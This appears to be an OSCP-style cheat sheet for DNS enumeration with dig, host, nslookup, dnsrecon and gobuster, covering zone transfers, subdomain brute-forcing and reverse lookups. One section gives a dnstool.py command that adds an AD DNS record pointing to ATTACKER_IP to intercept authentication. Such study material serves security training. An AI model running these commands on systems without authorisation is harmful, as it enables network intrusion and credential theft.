DNS Enumeration — dig, host & dnsrecon
What is DNS enumeration?
Before attacking web/SMB, discover hostnames tied to an IP — subdomains, mail servers, domain controllers, and internal names leaked in zones or records.
| Tool | Role |
|---|---|
| dig / host | Quick lookups, AXFR, reverse DNS — always available |
| dnsrecon | All-in-one enum — std, AXFR, brute, reverse, SRV, export JSON/XML |
OSCP use: Zone transfer (AXFR) misconfigs, find
dc.corp.local, mail hosts for Mail (SMTP POP3 IMAP), vhost names for/etc/hosts, reverse DNS on pivot subnets, SRV for AD/LDAP.
Tool Comparison
| Tool | Best for |
|---|---|
| dig | Full control, ANY/AXFR queries, detailed output |
| host | Quick A/MX/NS lookups, simple AXFR syntax |
| nslookup | Interactive mode, Windows-compatible syntax |
| dnsrecon | Combined std + AXFR + brute + reverse; JSON/CSV export |
All pre-installed on Kali (dnsrecon via apt install dnsrecon if missing).
📌 1) Basic Record Lookups
# A record (IP from hostname)
dig TARGET.com +short
host TARGET.com
# All common records
dig TARGET.com ANY
host -a TARGET.com
# Specific record types
dig TARGET.com MX # Mail servers
dig TARGET.com NS # Name servers
dig TARGET.com TXT # SPF, DKIM, sometimes secrets
dig TARGET.com SOA # Start of authority
# Reverse DNS (IP → hostname)
dig -x 10.10.10.10 +short
host 10.10.10.10📌 2) Zone Transfer (AXFR) — High Value
If the DNS server allows zone transfers, you get every subdomain in one request.
# Find NS first
dig TARGET.com NS +short
# ns1.target.com.
# Attempt zone transfer
dig axfr TARGET.com @NS_IP
dig axfr @10.10.10.10 TARGET.com
# host syntax
host -l TARGET.com NS_IPSuccess → add interesting hosts to /etc/hosts and scan:
echo "10.10.10.10 dc.target.com mail.target.com" | sudo tee -a /etc/hosts
nmap -sC -sV -p- dc.target.com📌 3) Query Specific DNS Server
When target uses internal DNS (VPN/lab):
# Force query to target's DNS
dig @10.10.10.10 corp.local ANY
dig @10.10.10.10 internal.corp.local AXFR
# Reverse zone
dig @10.10.10.10 -x 10.10.10.20📌 4) dnsrecon — All-in-One DNS Enum
Automated DNS recon — standard records, zone transfers, subdomain brute, reverse lookups, SRV.
Install
sudo apt install dnsrecon # Kali
dnsrecon -hScan types (-t)
| Type | Description |
|---|---|
std | Default — SOA, NS, A, AAAA, MX, TXT, SPF (quiet start) |
axfr | Zone transfer against all name servers |
brt | Subdomain brute-force (needs -D wordlist) |
rvl | Reverse lookup on IP range (needs -r) |
srv | SRV records — LDAP, Kerberos, XMPP, SIP |
zonewalk | DNSSEC zone walking (NSEC) |
snoop | Cache snooping |
Combine types: -t std,axfr,brt
Common commands
# Standard enumeration (default)
dnsrecon -d target.com
# Force queries through target DNS server
dnsrecon -d corp.local -n 10.10.10.10
# Zone transfer — high value
dnsrecon -d target.com -t axfr
dnsrecon -d target.com -n 10.10.10.10 -t axfr
# Subdomain brute-force
dnsrecon -d target.com -t brt -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
dnsrecon -d target.com -t brt -D /usr/share/dnsrecon/namelist.txt -f # -f filter wildcards
# Reverse lookup (discover hostnames on subnet)
dnsrecon -r 10.10.10.0/24 -n 10.10.10.10 -t rvl
# SRV — AD / mail / XMPP hints
dnsrecon -d corp.local -t srv
# Full pass + save JSON
dnsrecon -d target.com -t std,axfr,brt \
-D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-j dnsrecon_out.jsondnsrecon flags
| Flag | Description |
|---|---|
-d DOMAIN | Target domain |
-n NS_SERVER | Use specific name server / resolver |
-r RANGE | IP range for reverse lookup (e.g. 10.10.10.0/24) |
-D DICTIONARY | Wordlist for -t brt |
-t TYPE | Scan type(s) — comma-separated |
-f | Filter wildcard DNS responses during brute |
-a | Include AXFR during std enum |
--threads N | Brute/reverse concurrency |
--lifetime N | Query timeout (slow DNS) |
--tcp | Force TCP queries |
-j JSON | Export JSON results |
-x XML | Export XML |
-c CSV | Export CSV |
--db FILE | SQLite database output |
Passive sources (version-dependent): -k crt.sh, -b Bing, -y Yandex.
📌 5) Subdomain Brute-Force
DNS brute is Gobuster/dnsrecon territory — dig confirms hits:
# dnsrecon brute
dnsrecon -d target.com -t brt -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -n 10.10.10.10
# Gobuster DNS mode
gobuster dns -d target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -r 10.10.10.10
# ffuf vhost (HTTP layer) — see [[ffuf]]
# Kerberos user enum — [[Kerbrute]]Verify each hit:
dig sub.target.com @10.10.10.10 +short📌 6) Useful dig Flags
| Flag | Description |
|---|---|
+short | IP/name only |
+noall +answer | Clean answer section |
@SERVER | Query specific DNS server |
-x IP | Reverse lookup |
axfr | Zone transfer attempt |
+trace | Trace delegation from root |
+tcp | Force TCP (sometimes bypasses filtering) |
dig +noall +answer TARGET.com A
dig +trace TARGET.com📌 7) Windows (nslookup)
nslookup TARGET.com
nslookup -type=MX TARGET.com
nslookup -type=ANY TARGET.com
nslookup
> server 10.10.10.10
> ls -d target.com REM Zone transfer attempt
> 10.10.10.10 REM Reverse lookup📌 8) AD Integrated DNS (ADIDNS) — write abuse
On domain-joined DNS (port 53 on DC), authenticated users often have permission to create arbitrary DNS records in the ADIDNS zone via LDAP — not just DNS Admin.
Use case: Monitoring scripts that poll hostnames matching a pattern (e.g. web*) — add a record pointing to your IP and intercept auth.
# Add A record (krbrelayx dnstool)
python3 dnstool.py -u 'DOMAIN\user' -p 'PASS' DC_IP -a add -r web1 -d ATTACKER_IP -t A
# Dump existing AD DNS records
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' get dnsDumpFull chain + Intelligence example → krbrelayx
📌 9) OSCP Workflow
1. dig/host OR dnsrecon -d DOMAIN -t std
2. Attempt AXFR — dig axfr OR dnsrecon -t axfr
3. Subdomain brute — dnsrecon -t brt OR gobuster dns
4. Add hostnames to /etc/hosts
5. nmap discovered hosts
6. gobuster/ffuf vhost if single IP serves multiple sites
7. Kerbrute if AD domain name known
📌 Quick Cheat Sheet
dig TARGET.com ANY +short
dig axfr TARGET.com @NS_IP
host -l TARGET.com NS_IP
dig -x 10.10.10.10 +short
dnsrecon -d TARGET.com -t std,axfr
dnsrecon -d TARGET.com -t brt -D /usr/share/dnsrecon/namelist.txt
gobuster dns -d target.com -w subdomains.txt -r NS_IP